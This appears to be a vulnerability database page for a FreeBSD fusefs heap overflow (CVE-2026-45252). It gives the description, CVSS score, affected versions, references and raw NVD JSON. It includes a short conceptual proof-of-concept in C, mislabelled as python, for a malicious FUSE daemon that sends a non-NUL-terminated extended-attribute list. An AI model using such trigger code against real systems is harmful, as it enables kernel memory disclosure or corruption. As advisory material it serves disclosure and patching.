CVE-2026-45252

Description

When a fusefs file system implements extended attributes, the kernel may send a FUSE_LISTXATTR message to the userspace daemon to retrieve the list of extended attributes for a given file. The FUSE protocol requires the daemon to return a packed list of NUL-terminated strings. The fusefs kernel module calls strlen() on this daemon-supplied buffer without first verifying that the entire list is NUL-terminated. If a malicious daemon sends a non-NUL-terminated list, the fusefs kernel module may read beyond the end of one heap-allocated buffer and potentially write beyond the end of a second buffer. A malicious daemon could disclose up to 253 bytes of kernel heap memory, or it could inject up to 250 attacker-controlled bytes into unallocated kernel heap space.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:14.3:p12:*:*:*:*:*:* - VULNERABLE

FreeBSD (受影响版本请参考FreeBSD-SA-26:20)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-45252
 * This snippet demonstrates how a malicious FUSE daemon
 * might construct a reply without NUL termination.
 */
#include <fuse_lowlevel.h>
#include <stdlib.h>
#include <string.h>

void fuse_listxattr(fuse_req_t req, fuse_ino_t ino, size_t size) {
    struct fuse_bufvec bufv;
    char *malicious_buf;
    
    // Allocate a buffer filled with 'A's, no NUL terminator
    malicious_buf = malloc(256);
    memset(malicious_buf, 'A', 256);

    // Normally one would add a NUL terminator, but we omit it here
    // malicious_buf[255] = '\0'; // <--- Vulnerability trigger

    fuse_reply_buf(req, malicious_buf, 256);
    free(malicious_buf);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45252
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45252
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45252/
[4] VulDB https://vuldb.com/cve/CVE-2026-45252
[5] https://security.freebsd.org/advisories/FreeBSD-SA-26:20.fusefs.asc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45252", "sourceIdentifier": "[email protected]", "published": "2026-05-21T10:16:26.157", "lastModified": "2026-05-21T19:01:09.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a fusefs file system implements extended attributes, the kernel may send a FUSE_LISTXATTR message to the userspace daemon to retrieve the list of extended attributes for a given file. The FUSE protocol requires the daemon to return a packed list of NUL-terminated strings. The fusefs kernel module calls strlen() on this daemon-supplied buffer without first verifying that the entire list is NUL-terminated.\n\nIf a malicious daemon sends a non-NUL-terminated list, the fusefs kernel module may read beyond the end of one heap-allocated buffer and potentially write beyond the end of a second buffer. A malicious daemon could disclose up to 253 bytes of kernel heap memory, or it could inject up to 250 attacker-controlled bytes into unallocated kernel heap space."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:*", "matchCriteriaId": "C30E4A9C-0594-4F40-92B3-26CB9AA85AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p12:*:*:*:*:*:*", "matchCriteriaId": "9F83F91B-587A-433C-99DB-0D63E267FF16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p13:*:*:*:*:*:*", "matchCriteriaId": "44B9C2FC-756E-459F-8E68-C2C2B8C258AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*:*:*:*", "matchCriteriaId": "DC8A75D0-148A-427A-9783-45477EABED21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p9:*:*:*:*:*:*", "matchCriteriaId": "F5D39FC9-6DBA-46C8-BB80-A6188E6A8527"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:-:*:*:*:*:*:*", "matchCriteriaId": "8F3856BE-666F-4FA1-A6AD-FE179CEBF1E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p1:*:*:*:*:*:*", "matchCriteriaId": "D9CC0037-3282-42C3-80D8-F6C1D43B9332"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p2:*:*:*:*:*:*", "matchCriteriaId": "1EADA828-3C20-43C0-A0CA-3AC7D7F23DBD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p3:*:*:*:*:*:*", "matchCriteriaId": "53D73FD2-4B06-47D3-BA2A-4363E9DE3565"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:p4:*:*:*:*:*:*", "matchCriteriaId": "D726890B-E679-43A9-A211-D5C05BBE3941"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.4:rc1:*:*:*:*:*:*", "matchCriteriaId": "0342A715-E211-4AF6-97ED-32EB9EBB947D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:-:*:*:*:*:*:*", "matchCriteriaId": "368CFE5D-C5C2-42AF-AAF4-28DFE1A59C3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p1:*:*:*:*:*:*", "matchCriteriaId": "AA4AAA57-70A7-4717-ACF2-A253E757FF2C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:15.0:p2:*:*:*:*:*:*", "matchCriteriaId": "E24ABFA6-4D12-4DE5-832B-438502C7D1 ... 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